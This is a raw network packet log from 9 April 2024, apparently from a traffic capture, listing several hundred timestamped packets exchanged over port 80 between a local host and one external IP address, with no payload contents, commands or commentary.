Apr 9, 2024 14:54:04.764942884 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764959097 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.765127897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.765207052 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.765639067 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.765707970 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.765722990 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.765737057 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.765752077 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.765765905 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.765780926 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.766175032 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.766989946 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767007113 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767020941 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767035961 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767050982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767066002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767081022 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767096043 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767111063 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767124891 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767139912 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767154932 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767169952 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767184973 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767198086 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767213106 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767232895 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767246962 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767261028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767273903 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767288923 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767293930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.767303944 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767318010 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767332077 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767347097 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767362118 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767379999 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767414093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767446995 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767462969 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767477036 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767508984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.767565012 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767580986 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767596006 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767611027 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767625093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767638922 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767653942 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767668009 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767707109 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767723083 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767738104 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767766953 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767782927 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767797947 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767842054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.767855883 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767870903 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767884970 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767899990 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767914057 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767945051 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.767997026 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768042088 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768121004 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768244028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768260002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768275023 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768284082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.768321991 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768340111 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768366098 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768544912 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768630028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768702984 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768718004 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768732071 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768760920 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768775940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.768784046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768841982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.768893003 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769022942 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769042969 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769120932 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769162893 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769213915 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769265890 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769326925 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769402027 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769556999 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769573927 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769627094 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769642115 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769711971 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.769963026 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.770071030 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.770086050 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.770977020 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.771023989 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.771224022 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.771271944 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.771287918 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.771341085 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.771357059 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.771785975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772173882 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772311926 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772403002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772445917 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772461891 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772476912 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772547960 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772589922 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772651911 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.772835970 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.773010015 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.773025036 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.773210049 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.773320913 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.773336887 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.773586035 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.773602009 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.773880959 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.773936987 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774013042 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774087906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774139881 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774177074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774193048 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774260998 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774344921 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774384975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774486065 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774588108 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774626970 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774683952 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774810076 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.774938107 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.775027037 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.775043011 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.776422977 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.776753902 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.776963949 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777144909 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777159929 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777304888 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777368069 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777569056 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777585983 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777822971 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777862072 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777877092 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777909040 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.777951956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778037071 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778121948 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778171062 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778251886 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778330088 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778379917 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778424978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778484106 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778532028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778546095 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778577089 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778748989 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778774023 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778836966 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778876066 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.778959990 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779048920 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779063940 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779078960 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779165983 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779303074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779354095 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779369116 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779436111 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779450893 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779551983 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779664993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779680967 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779863119 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779879093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779907942 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779922962 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779936075 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779949903 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.779963017 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780041933 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780098915 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780112982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780155897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780203104 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780224085 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780237913 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780296087 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780309916 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780436993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780452013 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780550957 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780596018 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780709028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780766964 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780812025 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780827045 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780853987 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.780987024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781053066 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781095028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781243086 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781325102 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781339884 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781394005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781408072 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781497002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781554937 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781749010 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781764030 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781897068 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781912088 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781944036 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.781980991 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782042980 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782088995 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782179117 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782273054 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782365084 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782511950 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782526970 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782593012 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782759905 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782840967 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782886028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.782953024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783072948 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783087969 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783140898 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783185959 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783214092 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783309937 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783325911 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783584118 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783667088 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783710003 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783735037 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783749104 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783811092 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783911943 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.783926010 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784077883 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784162045 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784178019 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784238100 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784272909 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784332991 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784548044 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784563065 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784586906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784651041 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784765005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784780025 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784869909 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.784914017 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785032034 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785082102 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785192013 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785237074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785361052 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785403967 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785419941 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785521030 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785572052 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785626888 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785686016 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785701036 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785825968 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.785840988 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.786034107 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.786108971 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.786156893 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.786313057 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.786549091 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787000895 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787017107 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787030935 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787045002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787059069 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787072897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787086964 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787101984 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787133932 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787147999 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787162066 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787178040 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787192106 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787219048 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787291050 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787307024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787343979 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787358999 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787486076 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787581921 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787688017 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787780046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.787914038 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788069010 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788117886 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788131952 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788146973 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788161039 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788176060 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788189888 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788265944 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788280964 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788337946 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788382053 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788436890 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788505077 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788574934 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788589954 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788759947 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.788851023 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789025068 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789079905 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789096117 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789134026 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789273024 CEST	80	49740	185.196.8.137	192.168.2.4
